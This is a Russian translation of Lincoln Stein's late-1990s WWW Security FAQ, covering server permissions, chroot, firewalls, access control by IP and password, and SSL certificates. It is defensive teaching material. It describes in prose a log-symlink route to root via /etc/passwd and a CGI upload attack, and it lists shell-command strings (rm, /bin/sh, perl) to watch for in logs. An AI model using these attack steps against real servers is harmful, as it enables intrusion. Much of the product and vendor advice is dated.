![[Вниз]](i/down.gif){kind=small}
Содержание
Приведенный здесь перевод вопросов и ответов по безопасности в WWW кажется мне очень полезным документом как для администраторов серверов Web, так и для рядовых пользователей, которые могут не подозревать о том, какие опасности подстерегают их на разветвленных дорогах Сети. Мне самому этот документ оказал неоценимую помощь при изучении организации WWW, за что я искренне благодарен автору оригинала, Lincoln D. Stein, с разрешения которого выполнен перевод.
Не будучи ни опытным автором, ни переводчиком литературы по компьютерным проблемам, я столкнулся с определенными (очевидными) трудностями, связанными со спецификой языка в данной области. Не знаю, насколько успешно удалось мне избежать излишнего использования жаргона и, с другой стороны, достичь достаточной для понимания точности текста. Комментарии относительно перевода и полезные замечания можно посылать мне по e-mail, на адрес <dgro@chromo.lgu.spb.su>, я буду признателен.
Кроме перевода, здесь можно найти зеркальную копию оригинальной версии документа (на английском языке). Я надеюсь, что изменения в оригинальной версии будут отражаться в настоящей копии с задержкой не более суток. Я приложу все усилия к тому, чтобы такие изменения попадали в переведенную версию как можно скорее. Вы всегда можете сравнить дату последнего изменения в английской и русской версиях и узнать, соответствует ли перевод последней редакции документа - для этого я не изменяю дату, приведенную в оригинальном файле.
Надеюсь, приведенный документ окажется полезным для пользователей Сети. Спасибо фирме Петерлинк за предоставленное место на сервере.
Здесь помещены ссылки на некоторые известные мне русскоязычные сайты, содержащие полезную информацию по безопасности в сети и по технологии WWW. Если Вы знаете какие-нибудь подобные источники - пишите мне, если сайт покажется мне полезным, то я его добавлю к списку.
Меня периодически спрашивают о том, можно ли текст перевода www-security-faq выставить на каком-либо сервере. Я не очень охотно соглашаюсь на подобное. Дело не в том, что мне жалко отдавать текст, а в том, что текст этот периодически меняется. И меняется он обычно тогда, когда появляется новая информация, как правило - новые ошибки в программах. При этом пользователь, читающий устаревшую копию документа, может быть обманут - будет думать, что обладает самой полной информацией по проблеме, а на самом деле - не будет знать о какой-нибудь критической ошибке в популярной программе.
Поэтому, если у Вас возникают подобные вопросы, то я прошу Вас рассмотреть следующие варианты действий (я подразумеваю, что вы копируете текст в электронной форме, а не для публикации на бумажном носителе):
Спасибо за внимание -
Дмитрий Громов
Вернуться к переводу WWW-security-FAQ
Перевод - Дмитрий Громов
<dgro@chromo.lgu.spb.su>
| Содержание
| Вперед, к Введение
|
Смотрите здесь если Вас интересуют зеркальные копии или Вы сами хотите установить зеркальную копию.
.htaccess
для управления доступом к отдельным директориям так удобно,
почему я должен использовать access.conf?
| Содержание
| Вперед, к Введение
|
Lincoln D. Stein (lstein@w3.org)
Перевод - Дмитрий Громов
Last modified: Tue Jun 30 23:04:39 EDT 1998
Вопросы и Ответы по безопасности в WWW
 Назад, к Содержание | Вперед, к Что нового |
Копии оригинала этого документа на английском языке можно найти на следующих URL:
Дополненный оригинал этого документа доступен теперь в виде книги под названием Web Security: A Step-by-Step Reference Guide, издательство Addison-Wesley Longman.
Авторские права на оригинал этого документа принадлежат © copyright 1995-1998 Lincoln D. Stein. Вам дается право на копирование и распространение оригинала с соблюдением условий, приведенных в W3C Intellectual Property Notice.
По вопросам копирования текста переыода см. комментарии переводчика.
Автор приносит благодарность за полезные комментарии и дополнения следующим лицам:
|
Назад, к Содержание | Вперед, к Что нового |
Lincoln D. Stein (lstein@w3.org)
Перевод - Дмитрий Громов
Last modified: Wed Apr 15 14:57:52 EST 1998
Вопросы и ответы по безопасности в WWW
 Вверх, к Содержание | ||
|
Назад, к Введение | Вперед, к Вопросы общего порядка |
util.c в серверах
Apache и NCSA httpd добавлены к соответствующим разделам.
util.c от NCSA.
util.c, распространяемой NCSA и
используемой во многих CGI скриптах, написанных на С.
|
Наверх, к Содержание | ||
|
Назад, к Введенеие | Вперед, к Вопросы общего порядка |
Lincoln D. Stein (lstein@w3.org)
Перевод - Дмитрий Громов
Last modified: Tue Jun 30 23:02:42 EDT 1998
Вопросы и ответы по безопасности в WWW
|
Up to Table of Contents | ||
|
Назад, к Что нового | Вперед, к Поддержка защищенного сервера |
Наиболее неприятны опасности для вебмастера. С того момента, когда вы установили у себя Web сервер, вы открыли в своей локальной сети окно, которым может пользоваться вся Internet. Большинство посетителей будут пользоваться только тем, что вы им предоставляете, однако некоторые попробуют получить доступ к вещам, которые вы не хотели бы предоставлять в публичное пользование. Другие, имеющие желание не только посмотреть, ноо и потрогать, будут пытаться открыть окно и проникнуть внутрь. Результаты могут быть различными, от просто раздражающих (например, вы обнаруживаете утром, что ваша домашняя страница заменена на идиотскую пародию), до разрушительных (например, похищение всей базы данных заказчиков вашей компании).
То, что ошибки в программах открывают лазейки в системе безопасности, рассматривается как истина людьми, занимающимися системной безопасностью. То, что большие и сложные программы содержат ошибки, является истиной для разработчиков программ. К сожалению, серверы Web являются большими и сложными программами, которые могут содержать лазейки в системе безопасности (что было подтверждено в ряде случаев). Более того, открытая архитектура серверов Web позволяет запускать любые скрипты CGI на сервере в ответ на запрос со стороны программы - клиента. Любой скрипт, установленный на вашем сервере, может содержать ошибку, и такая ошибка является потенциальной лазейкой.
Для сетевого администратора сервер Web представляет собой дополнительную потенциальную лазейку в защите локальной сети. Цель защиты локальных сетей - не пускать туда посторонних. Цель организации узла Web - предоставить внешнему миру ограниченный доступ к вашей локальной сети. Разграничение и совмещение этих двух задач может оказаться сложным. Плохо настроенный сервер Web может пробить дыру в самом хорошо настроенном брандмауэре. Плохо настроенный брандмауэр может сделать сервер бесполезным. Особенно трудно решать эти задачи в среде intranet, где от сервера, как правило, требуется способность различать разные группы пользователей и предоставлять им разные права доступа.
Для конечного пользователя хождение по Web выглядит и безопасным, и анонимным. Это не так. Активные элементы, такие как элементы ActiveX или апплеты Java, делают возможным заражение системы пользователя компьютерным вирусом или внесение других опасных программ в систему. Сетевой администратор должен понимать, что активные элементы позволяют нежелательным программам обходить брандмауэры и проникать в локальную сеть. Даже без использования активных элементов, каждое действие пользователя оставляет запись в истории браузера, и заинтересованные лица могут получать очень подробные описания пользовательских вкусов и привычек.
Наконец, и конечные пользователи, и администраторы Web должны думать о конфиденциальности данных, передаваемых по сети. Протокол TCP/IP разрабатывался без учета проблем защиты и позволяет осуществлять "подслушивание" в сети. При передаче конфиденциальной информации между сервером и браузером она может быть перехвачена третьими лицами.
Нужно понимать, что только "защищенные" ("secure") браузеры и серверы предусматривают защиту от перехвата данных в сети. При отсутствии защиты на одном из концов соединения возможен перехват конфиденциальной информации.
Защита от подслушивания и системная безопасность рассматриваются в разделах с 1 по 5. Безопасность на стороне клиента обсуждается в разделах 6 и 7. Раздел 8 содержит информацию по конкретным серверам.
Системы Unix, с их большим количеством встроенных серверов, сервисов, командных языков и интерпретаторов, особо уязвимы для нападений, просто потому, что в них имеется слишком много входов, которые могут быть использованы хакерами. Менее мощные системы, такие как Macintosh и машины с MS-Windows, взломать труднее. С другой стороны, на них труднее реализовать действительно сложные задачи, и приходится выбирать между удобством и безопасностью.
Конечно, всегда следует учитывать фактор опытности людей, администрирующих компьютер и программное обеспечение на сервере. Система Unix, управляемая опытным администратором, вероятно будет более безопасной, чем система MS Windows, установленная новичком.
В версии 1.3 сервера NCSA для Unix содержится известная серьезная лазейка, найденная в марте 1995 года. Она позволяет постороннему пользователю выполнять любую команду на машине, на которой запущен сервер. Если у вас есть выполняемый файл httpd версии 1.3 с датой создания до марта 1995 года - не используйте его! Замените его на исправленный сервер 1.3 (доступен на http://hoohoo.ncsa.uiuc.edu/) или на версию 1.4 или более позднюю (доступна по тому же адресу). Версия Apache для замены NCSA также не содержит этой ошибки (http://www.hyperreal.com/apache/info.html)
Серверы различаются также возможностями ограничения доступа к отдельным документам или к частям дерева документов. Некоторые серверы не дают никакой возможности ограничения доступа, другие позволяют ограничивать доступ к директориям на основе IP адреса браузера или имени пользователя и пароля. Некоторые серверы, главным образом - коммерческие (например - Netsite Commerce Server, Open Market), позволяют также шифровать данные.
Сервер WN (автор - John Franks) заслуживает в этой связи особого упоминания, поскольку его организация сильно отличается от остальных Web серверов. Большинство серверов используют разрешительный подход к организации доступа, позволяя передачу любого документа из корня дерева документов, если это не запрещено явно, а WN использует запретительный подход. Сервер не передаст файл, если он не помещен специально в список разрешенных документов. Получение списков файлов и другие "неразборчивые" операции также запрещены. Получить информацию о защите сервера WN можно из его описания по адресу:
http://hopf.math.nwu.edu/docs/security.html
Таблица, сравнивающая особенности большого количества коммерческих и некоммерческих серверов помещена на узле WebCompare:
Вставки на сервере (server-side includes), обрабатывающие команды, включенные в текст документов HTML, тоже являются потенциальными лазейками. Набор имеющихся в них команд включает инструкции, заставляющие сервер выполнять произвольные системные команды и скрипты CGI. Если автор не знает о потенциальных проблемах, он может легко привнести нежелательные побочные эффекты. Увы, очень легко создать HTML файл, содержащий опасные вставки на сервере.
Некоторые серверы, в том числе - Apache и NCSA, позволяют администратору избирательно отключать те типы вставок, которые позволяют выполнять произвольные команды. См. подробности в В10.
Вот некоторые предосторожности, которые следует соблюдать на серверах, установленных под Unix или NT:
ftp://ftp.cert.org/pub/tools/crack/
Мы еще вернемся к вопросу проверки файлов трассировки Web на предмет подозрительной активности.
ftp://ftp.cert.org/pub/tools/cops/Для Windows NT можете попробовать Administrator Assistant Toolkit от Midwestern Commerce:
http://www.ntsecurity.com
Источник текущей информации, включая обнаружение новых лазеек в безопасности - CERT Coordination Center advisories, рассылается через телеконференцию comp.security.announce и доступен в виде архива по адресу:
ftp://ftp.cert.org/pub/cert_advisories/
Список рассылки, посвященный вопросам безопасности в WWW, поддерживается IETF Web Transaction Security Working Group. Для подписки на него пошлите e-mail на адрес www-security-request@nsmx.rutgers.edu, в тексте письма напишите:
SUBSCRIBE www-security ваш_адрес_e-mail
Ряд списков вопросов и ответов по безопасности поддерживается компанией Internet Security Systems, Inc. Списки можно найти по адресу:
http://www.iss.net/sec_info/addsec.html
Главный список вопросов и ответов о WWW (WWW FAQ) также содержит вопросы и ответы относительно проблем безопасности Web, таких, как обработка файлов трассировки и источники программного обеспечения для серверов. Последние версии можно найти по адресу:
|
Наверх, к Содержание | ||
|
Назад, к Что нового | Вперед, к Поддержка защищенного сервера |
Lincoln D. Stein (lstein@w3.org)
Перевод - Дмитрий Громов
Last modified: Mon Apr 13 17:54:04 EST 1997
Вопросы и Ответы по Безопасности WWW
|
Наверх, к Содержание | ||
|
Назад, к Вопрсы общего порядка | Вперед, к Защита конфиденциальных документов |
Вам необходимо защитить сервер от нежелательных взглядов как внутренних, так и внешних пользователей. Простейший способ достижения этой цели - создание пользователя "www" для администратора WWW-сервера и группы пользователей "www" для всех пользователей вашей системы, которые должны создавать HTML документы. В системах семейства Unix отредактируйте файл /etc/passwd так, чтобы сделать корневой директорий сервера домашним директорием пользователя www. Отредактируйте файл /etc/group так, чтобы добавить всех разработчиков к группе www.
Корневой директорий сервера должен быть организован так, чтобы только пользователь www имел право записи в директории, содержащие конфигурационные файлы и файлы трассировки. По вашему желанию можно разрешить доступ для чтения к этим директориям для пользователей группы www. Эти директории _не должны_ быть общедоступны для чтения. Директорий cgi-bin и его содержимое должны быть общедоступны для чтения и выполнения, но не для записи (если вы доверяете вашим разработчикам, входящим в группу www, то вы можете разрешить им запись в этот директорий). Ниже приведен пример установки прав доступа к каталогам сервера:
drwxr-xr-x 5 www www 1024 Aug 8 00:01 cgi-bin/ drwxr-x--- 2 www www 1024 Jun 11 17:21 conf/ -rwx------ 1 www www 109674 May 8 23:58 httpd drwxrwxr-x 2 www www 1024 Aug 8 00:01 htdocs/ drwxrwxr-x 2 www www 1024 Jun 3 21:15 icons/ drwxr-x--- 2 www www 1024 May 4 22:23 logs/Иные требования относятся к корневому директорию дерева документов. Все файлы, которые вы хотите предоставлять пользователям Internet, должны быть доступны для чтения сервером в то время, когда он работает с правами пользователя "nobody". Возможно вы захотите также дать вашим разработчикам документов возможность свободно добавлять файлы к дереву документов. Поэтому вам следует сделать корневой директорий дерева документов и его подкаталоги принадлежащими пользователю и группе "www", общедоступными для чтения и доступными для записи пользователями группы www:
drwxrwxr-x 3 www www 1024 Jul 1 03:54 contents drwxrwxr-x 10 www www 1024 Aug 23 19:32 examples -rw-rw-r-- 1 www www 1488 Jun 13 23:30 index.html -rw-rw-r-- 1 lstein www 39294 Jun 11 23:00 resource_guide.html
Многие серверы позволяют открывать доступ к частям дерева документов только для браузеров с определенными IP адресами или для внешних пользователей, предоставляющих правильный пароль (см. ниже). Однако, в некоторых случаях администраторы системы могут хотеть закрыть доступ к некоторым HTML документам для _внутренних_ пользователей, не имеющих для этого права. Это является проблемой в случае, если корневой директорий дерева документов общедоступен для чтения.
Одно из решений этой проблемы состоит в том, чтобы запускать сервер не с правами пользователя nobody, а как другого непривилегированного пользователя, принадлежащего группе www. В этом случае можно сделать защищенные документы доступными для чтения группой www, но не всеми пользователями (в этом случае, если вы не хотите, чтобы сервер имел возможность изменять свои документы, не давайте группе www прав записи в директории дерева документов!). Теперь документы защищены от нежелательных взглядов как внутренних, так и внешних глаз. Не забудте установить правильные права доступа также для всех скриптов CGI.
Сервер CERN развивает эти возможности, позволяя запускать сервер с разными правами пользователя и группы для различных частей дерева документов. Информация о том, как этого достичь, содержится в документации сервера.
В том случае, когда ваш сервер запускается с правами пользователя root, но в процессе работы пользуется правами доступа другого пользователя (смотри В11), особенно важно запретить запись в директорий, содержащий файлы трассировки, для того пользователя, правами которого располагает сервер при работе. Например, серверы Netscape FastTrack и SuiteSpot при установке разрешают запись в директорий с файлами трассировки для пользователя, с правами которого работает сервер (пользователь "nobody" в том случае, если вы выбрали настройки по умолчанию). Это может приводить к тому, что некоторые ошибки в скриптах CGI станут гораздо более опасными, чем в иных ситуациях. Напимер, если ошибка в скрипте позволяет удаленному пользователю выполнять произвольные команды на сервере, то пользователь может получить права доступа пользователя root (системного администратора), заменив файл трассировки ссылкой на файл /etc/passwd. При перезапуске сервера ссылка приведет к тому, что владельцем файла /etc/passwd станет пользователь nobody. Теперь удаленный пользователь может использовать ошибку в скрипте для редактирования файла /etc/passwd и добавления в систему нового пользователя. Предлагаемый способ борьбы с проблемой состоит в том, чтобы изменить права доступа к директорию с файлами трассировки сервера так, чтобы запретить запись для пользователя, с правами которого работает сервер, после чего создать пустые файлы трассировки (log) и идентификатора процесса (pid), принадлежащие этому пользователю (сервер не будет запускаться в случае, если не сможет открыть эти файлы). Хотя это не лучшее решение, поскольку оно позволяет хакерам редактировать файлы трассировки, такая конфигурация все-таки лучше той, которая используется по умолчанию. Эта лазейка может присутствовать также в других коммерческих серверах. Спасибо Laura Pearlman за эту информацию.
Конечно, выключив возможность автоматического просмотра директориев, вы не помешаете пользователям получить доступ к файлам, имена которых они узнали другим образом. Имена файлов могут быть также случайно включены в индексы, порождаемые программой автоматического поиска по ключевым словам. Для полной безопасности необходимо полностью удалять из вашего дерева документов все файлы, которые вы хотите защитить.
Серверы NCSA и Apache позволяют полностью отключить отслеживание ссылок. Дополнительно существует возможность позволять следовать ссылке только в том случае, если она принадлежит тому же пользователю, которому принадлежит то, на что она указывает. Вы можете таким образом нарушить безопасность только той части дерева документов, которой владеете, но не чужой.
Options IncludesNoExec
Когда говорят об "опасности запуска сервера с правами пользователя root", то подразумевают другую схему. Опасность состоит в настройке сервера для запуска _дочерних процессов_ с правами root (т.е. в директиве "User root" в конфигурационном файле сервера). Это действительно большой риск, так как любой скрипт CGI, запущенный с правами root, имеет доступ во все щели и углы вашей системы.
Некоторые считают, что лучше вообще не запускать сервер с правами root, поскольку мы не знаем, какие ошибки могут содержаться в той части программы, которая работает между запуском сервера и моментом запуска дочернего процесса. Это действительно так, хотя исходные тексты программ всех свободно распространяемых серверов открыты для публичного доступа, и в них, _похоже_, не содержится ошибок в этих частях программы. Запуск сервера с правами обычного непривилегированного пользователя может быть безопаснее. Многие серверы запускаются как nobody, daemon или www. Однако следует учитывать две потенциальные сложности, связанные с таким подходом:
Рассмотрим сервер WWW, настроенный на запуск любого файла с расширением .cgi. Хакер, используя доступ через FTP, сохраняет на сервере файл с программой на языке perl и присваивает ему расширение .cgi. После этого он запрашивает этот файл через браузер, обращаясь к вашему Web серверу. Вот, собственно, и все - хакер выполнил на вашей машине любые команды, какие ему пришли в голову.
Вы можете объединять области доступа ftp и www, но при этом ограничте пространство, доступное для сохранения файлов через ftp, директорием "incoming", и не предоставляйте пользователю nobody прав на чтение из этого директория.
Для запуска сервера в среде chroot вы должны создать миниатюрную копию системного дерева подкаталогов и поместить туда все, что необходимо для работы сервера, включая специальные файлы устройств и загружаемые библиотеки. Вам придется также отредактировать все пути доступа к файлам в файлах настройки сервера с тем, чтобы привести их в соответствие с новым корневым директорием сервера. Для запуска сервера в такой среде, создайте системный командный файл, выполняющий команду chroot следующим образом:
chroot /путь/к/новому/корню /путь_к_серверу/httpdНастройка нового корневого директория может быть достаточно сложной, ее обсуждение выходит за рамки рассмотрения настоящего документа. За деталями можно обратиться к книге автора (см. выше). Следует иметь в виду, что среда chroot наиболее эффективна в том случае, если новый корневой каталог содержит как можно меньше вещей. Там не должно быть никаких интерпретаторов, оболочек или конфигурационных файлов (включая
/etc/passwd!). К сожалению,
это значит, что скрипты CGI, использующие язык perl, не смогут работать в
такой среде. Вы можете поместить туда интерпретатор perl, но вы теряете при
этом некоторые преимущества среды chroot.
Учтите также, что chroot защищает только файлы, не являясь при этом панацеей. Chroot не помешает хакерам проникнуть в вашу систему другими путями, например - получая системные карты через сервер NIS, или проводя эксперименты с NFS.
другой компьютер
\
сервер <-----> БРАНДМАУЭР <------> ВНЕШНИЙ МИР
/
еще компьютер
Однако, если вы хотите сделать сервер доступным для внешнего мира, то вам придется поместить его за пределами брандмауэра. С точки зрения безопасности вашей организации как целого, лучше всего вообще вынести сервер за пределы локальной сети:
компьютер
\
компьютер <----> БРАНДМАУЭР <---> сервер <----> ВНЕШ.МИР
/
компьютер
Такая конфигурация называется "жертвенный ягненок". Сервер может быть взломан, но, по крайней мере, в этом случае не нарушается защита всей сети.
Запуск сервера на той же машине, на которой стоит брандмауэр, не является хорошей практикой. В этом случае любая ошибка в конфигурации сервера нарушает безопасность всей организации.
Существует ряд вариаций приведенной базовой конфигурации, включая установку пары - внутреннего и внешнего - серверов, для предоставления внешнего доступа к публичной информации и внутреннего - к внутренней. См. книгу автора для получения подробной информации.
ftp://ftp.tis.com/pub/firewalls/toolkit/
Сервер CERN также может быть настроен для работы как представитель. Однако, мне не хотелось бы рекомендовать его в этом качестве, так как сервер - большая и сложная программа, которая может содержать лазейки в системе защиты.
Дополнительную информацию о брандмауэрах можно получить из книг: Firewalls and Internet Security by William Cheswick and Steven Bellovin и Building Internet Firewalls by D. Brent Chapman and Elizabeth D. Zwicky.
ftp://coast.cs.purdue.edu/pub/COAST/Tripwire/
Вы должны также периодически проверять файлы трассировки доступа и ошибок на предмет подозрительной активности. Ищите запросы, использующие такие системные команды, как rm, login, /bin/sh и perl, или очень длинные строки в обращениях к URL (первое свидетельствует о попытках заставить CGI скрипт выполнить системную команду, второе - о попытках вызвать переполнение буфера ввода программы). Следите также за повторяющимися неудачными попытками доступа к документу, защищенному паролем. Это свидетельствует о чьих-то попытках найти пароль для доступа.
|
Наверх, к Содержание | ||
|
Назад, к Вопросы общего порядка | Вперед, к Защита конфиденциальных документов |
Lincoln D. Stein (lstein@w3.org)
Перевод - Дмитрий Громов
Last modified: Thu Apr 16 10:39:59 EST 1998
Вопросы и ответы по безопасности в WWW
|
Наверх, к Содержание | ||
|
Назад, к Поддержка защищенного сервера | Вперед, к Скрипты CGI |
Отдельные документы или целые директории могут быть сделаны доступными только для браузеров, имеющих конкретный адрес IP (адрес в Internet), либо принадлежащих определенной подсети, либо принадлежащих определенному домену.
Документы или директории защищены таким образом, что для доступа к ним удаленный пользователь должен предоставить имя и пароль.
И запросы документов, и сами документы шифруются таким образом, что их текст не может быть прочтен никем кроме того, кому они направлены. Шифрование с открытым ключем может быть также использовано для надежной проверки пользователя. См. далее.
Ограничения доступа по IP адресам могут быть сделаны гораздо более надежными путем защиты вашей машины брандмауэром, способным определять и предотвращать попытки использования фиктивных адресов IP (IP spoofing). Проще всего перехватываются пакеты, приходящие из внешнего мира, но составленные так, как будто они посланы с компьютера в вашей локальной сети.
Следует также понимать, что в том случае, если браузер настроен на использование сервера - представителя (proxy), ваш Web сервер получит только IP адрес представителя, но не той машины, на которой работает пользователь. Это значит, что при наличии proxy в домене, которому вы доверяете, любой человек может использовать proxy для доступа к серверу. Если вы не знаете точно, что можете доверить определенному серверу-представителю накладывать собственные ограничения доступа, не добавляйте IP адресов proxy серверов или доменов, содержащих proxy, к списку адресов, с которых разрешен доступ к вашему узлу.
Ограничения доступа по имени компьютера или домена, обладающие теми же слабостями, что и ограничения по IP адресам, чуствительны, кроме того, к "замазыванию имен DNS" (DNS spoofing) - атаке, при которой ваш сервер убеждают на время в том, что разрешенное имя соответствует другому (нужному хакеру) IP адресу. Для уменьшения подобного риска некоторые серверы могут быть настроены на дополнительную проверку имени DNS для каждого клиента. После преобразования IP адреса, с которого пришел запрос, в имя компьютера, сервер использует систему DNS для обратного преобразования имени в адрес IP. Если два IP адреса не совпадают, то доступ не предоставляется. Смотри ниже инструкции по использованию этой возможности в NCSA httpd.
Другая проблема состоит в возможности перехвата пароля при его передаче по сети от браузера на сервер. Хакер, обладающий соответствующим оборудованием и программами, имеет возможность "вытащить" пароль из Internet при его прохождении. Кроме того, в отличие от прямого входа (login) пользователя в систему, когда пароль передается по Сети только один раз, браузер посылает пароль заново при каждом обращении к защищенному документу, что делает задачу хакера по перехвату пароля более легкой. Для избежания перехвата необходимо шифровать данные при передаче. Смотри далее.
Если вам необходимо защищать документы от доступа _локальных_ пользователей системы, на которой установлен сервер, то вам придется запускать сервер с правами, отличными от прав пользователя "nobody", и устанавливать права доступа к файлам документов и скриптов CGI так, чтобы они не были общедоступны для чтения. Смотри В9.
<Directory /полный/путь/к/директорию>
<Limit GET POST> order mutual-failure deny from all allow from 192.198.2 .zoo.org allow from 18.157.0.5 stoat.outback.au </Limit> </Directory>
Таким образом вы запрещаете доступ для всех, кроме указанных машин (18.157.0.5 и stoat.outback.au), подсети (182.198.2) и домена (.zoo.org). Хотя имеется возможность использовать либо цифровые IP адреса, либо имена машин, безопаснее использовать цифровые адреса, поскольку этот способ идентификации труднее "обмануть" (В18).
Один из способов повышения надежности ограничений по именам доменов состоит в
настройке сервера на двойную проверку имен DNS.
Вы можете включить эту возможность в NCSA httpd (и в родственном сервере
Apache) установив флаг -DMAXIMUM_DNS в файле Makefile перед
компиляцией.
Для сервера CERN необходимо объявить схему защиты при помощи директивы Protection и связать ее с локальным адресом URL директивой Protect. Фрагмент файла httpd.conf, разрешающий доступ только из определенных доменов, может выглядеть следующим образом:
Protection LOCAL-USERS {
GetMask @(*.capricorn.com, *.zoo.org, 18.157.0.5)
}
Protect /относительный/путь/к/директорию/* LOCAL-USERS
Обратитесь к документации вашего сервера за подробными инструкциями по добавлению пользователей. Для сервера NCSA httpd вы можете добавить пользователя к файлу пользователей с помощью программы htpasswd, которая распространяется вместе с программным обеспечением сервера:
htpasswd /путь/к/файлу/паролей имя_пользователяhtpasswd попросит вас затем ввести пароль для нового пользователя. При первом запуске программы htpasswd нужно использовать флаг -c для создания нового файла паролей.
Сервер CERN снабжен иной программой, называемой htadm:
htadm -adduser /путь/к/файлу/паролей имя_пользователяhtadm попросит вас ввести пароль для пользователя.
Когда пользователи определены, вы можете устанавливать защиту по паролю на директории, которые вы выбираете. Для NCSA httpd и производных серверов, добавте что-нибудь в таком роде к файлу access.conf:
<Directory /полный/путь/к/защищаемому/директорию>
AuthName имя.вашего.сервера
AuthType Basic
AuthUserFile /usr/local/etc/httpd/conf/passwd
<Limit GET POST>
require valid-user
</Limit>
</Directory>
Вам придется заменить AuthUserFile на полный путь к файлу паролей. Такой
способ защиты может быть скомбинирован с защитой на основе IP адресов, как
описано в предшествующем разделе. Документация NCSA (http://hoohoo.ncsa.uiuc.edu/)
и книга автора (How to Set Up and Maintain a
Web Site) описывают это более подробно.
Для сервера CERN соответствующий фрагмент файла httpd.conf выглядит примерно так:
Protection AUTHORIZED-USERS {
AuthType Basic
ServerID имя.вашего.сервера
PasswordFile /usr/local/etc/httpd/conf/passwd
GetMask All
}
Protect /относительный/путь/к/директорию/* AUTHORIZED-USERS
Опять же, обращайтесь к документации сервера или книге автора за деталями.
http://www.genome.wi.mit.edu/~lstein/user_manage/
Bill Jones написал многофункциональный скрипт под названием WebPass. Кроме пароля Web пользователи могут изменять свои пароли для входа в систему и для доступа к POP и news серверам, если они имеют такие пароли. Скрипт использует сочетание Perl и Expect для осуществления этих чудес. Скрипт можно найти по адресу:
http://webmaster.fccj.cc.fl.us/Webmaster/WebPass.html
Различные коммерческие серверы также имеют скрипты для удаленного управления пользователями. Смотрите документацию вашего сервера для получения подробной информации.
http://имя.вашего.узла/защищенный/директорий/.htaccessЭто безусловно опасное свойство, поскольку таким образом можно получить важную информацию о системе, включая местонахождение файла паролей сервера.
Еще одна проблема состоит в том, что при замене программного обеспечения сервера гораздо проще отредактировать или заменить один центральный файл управления доступом, чем искать и редактировать сотни маленьких файлов.
Большинство существующих систем шифрования в Internet используют на самом деле комбинацию современной асимметричной и традиционной симметричной систем шифрования. Шифрование с открытым ключем используется для передачи симметричного ключа, который используется при шифровании передаваемой информации.
Поскольку коммерческие предприятия испытывают острую нужду в безопасной передаче данных через Web, существует активный интерес к разработке схем шифрования данных для передачи между браузером и сервером.
Более подробную информацию о шифровании с открытыми ключами можно найти в книге "Applied Cryptography", автор - Bruce Schneier.
SSL (Secure Socket Layer) - это схема, предложенная Netscape Communications Corporation. Это схема шифрования на низком уровне, используемая для кодирования транзакций протоколов более высокого уровня, таких как HTTP, NNTP и FTP. Протокол SSL поддерживает проверку сервера (server authentication - подтверждение идентичности сервера для клиента), шифрование данных при передаче и возможность проверки клиента (client authentication, подтверждение идентичности клиента для сервера). SSL в настоящее время реализован коммерчески в различных браузерах, включая Netscape Navigator, Secure Mosaic и Microsoft Internet Explorer; и в различных серверах, включая серверы Netscape, Microsoft, IBM, Quarterdeck, OpenMarket и O'Reilly and Associates. Детали протокола SSL можно найти по адресу:
http://home.netscape.com/newsref/std/SSL.html
SHTTP (Secure HTTP - безопасный HTTP) - это схема, предложеная CommerceNet, объединением организаций, заинтересованных в развитии Internet для коммерческого использования. Это протокол более высокого уровня, который работает только с протоколом HTTP, но потенциально более расширяемый, чем SSL. В настоящее время SHTTP реализован для сервера Open Marketplace Server, распространяемого компанией Open Market, Inc, на стороне сервера и в Secure HTTP Mosaic от Enterprise Integration Technologies на стороне клиента. Здесь можно найти детали:
http://www.eit.com/creations/s-http/
Shen - схема, предложенная Phillip Hallam-Baker из CERN. Подобно SHTTP, это замена существующего протокола HTTP. Хотя предложение существовало около двух лет, оно не было реализовано ни в одном браузере или сервере. Более того, поскольку URL с описанием Shen более не доступен, есть основания считать эту схему отмершей.
Пакет состоит из нескольких компонентов. Для получения работающего Web сервера с поддержкой SSL вам придется получить и установить их все:
После установки поддерживающего SSL сервера вам необходимо получить удостоверение сервера (server certificate) от утверждающей организации. Сертификаты предоставляют различные компании, со слегка различающимися правилами подачи заявки и расценками. В США первой была корпорация VeriSign Corporation, которая остается наиболее популярной и в настоящее время. Однако, по причине недавнего поднятия цен корпорацией VeriSign ($495 за сертификат коммерческого сервера) она стала одной из самых дорогих. Хорошей альтернативой VeriSign является Thawte Consulting; их цены значительно ниже и процедура подачи заявки для компаний за пределами США проще. Другие сертифицирующие организации включают:
Процесс получения сертификата слегка различен у различных CA, но схож в основных моментах. После выбора CA соединитесь с их узлом Web и найдите раздел подачи заявки на сертификат. Выберите и заполните форму, подходящую для вашего программного обеспечения. У вас будут запрошены имена вашего узла Web, вашей компании и информация для связи. У вас также будут запрошены какие-либо документы, подтверждающие существование вашей организации и информация для приема оплаты (например, номер кредитной карты).
Заполнение формы - только половина процесса. Вы должны также создать запрос на электронный сертификат. После заполнения формы CA, используйте программу, входящую в состав программного обеспечения вашего сервера, для создания пары открытого и личного ключей. В пакете сервера Apache-SSL такая программа называется genkey.
Программа генерации ключа создаст файл, содержащий запрос на ключ. В некоторых случаях файл будет автоматически послан CA по электронной почте, в других Вам придется самостоятельно отсылать файл по e-mail. В любом случае вам придется ждать несколько дней или недель, в течение которых CA будет проверять достоверность вашего запроса. После проверки вы получите по электронной почте подписанный сертификат, который вы должны установить на своем сервере. Способ установки зависит от используемого сервера, для сервера Apache-SSL используйте программу getca.
Теперь пользователи могут получать документы с вашего сервера и передавать данные на сервер без боязни перехвата. Сертификат вашего сервера идентифицирует сервер для пользователя.
Недорогой личный сертификат можно получить у VeriSign. VeriSign предлагает сертификаты двух классов. Сертификаты первого класса стоят всего $9.95 в год, но не дают полной гарантии того, что пользователь действительно является тем, кем он представляется, поскольку VeriSign не проверяет данные, предоставляемые пользователем при заказе сертификата. Сертификаты первого класса гарантируют, что пользователь может получать электронную почту по адресу, предоставленному программой. Сертификаты второго класса, стоящие $19.95 в год, дают больше гарантий, поскольку информация о пользователе, получившем такой сертификат, подвергается проверке.
Если вы используете интранет, то вам может иметь смысл создать свои собственные личные сертификаты для использования служащими вашей компании. Для этого вам необходимо получить и установить сервер сертификатов. Такие системы можно получить у следующих компаний: Microsoft, Netscape, XCert, Entrust и GTE.
Для использования личных сертификатов с целью контроля доступа к серверу вам необходимо будет настроить сервер соответствующим образом. Обсуждение того, как это сделать, выходит за рамки рассмотрения настоящего документа, но подробные инструкции содержатся в книге автора оригинального документа The Web Security Reference Guide, которая будет доступна в декабре 1997 года.
Даже при использовании шифрования, следует быть осторожным в части того, что происходит с номером карты после того, как он получен на сервере. Убедитесь например, что после получения он не попадает в общедоступный для чтения файл трассировки и не передается на другую машину по электронной почте.
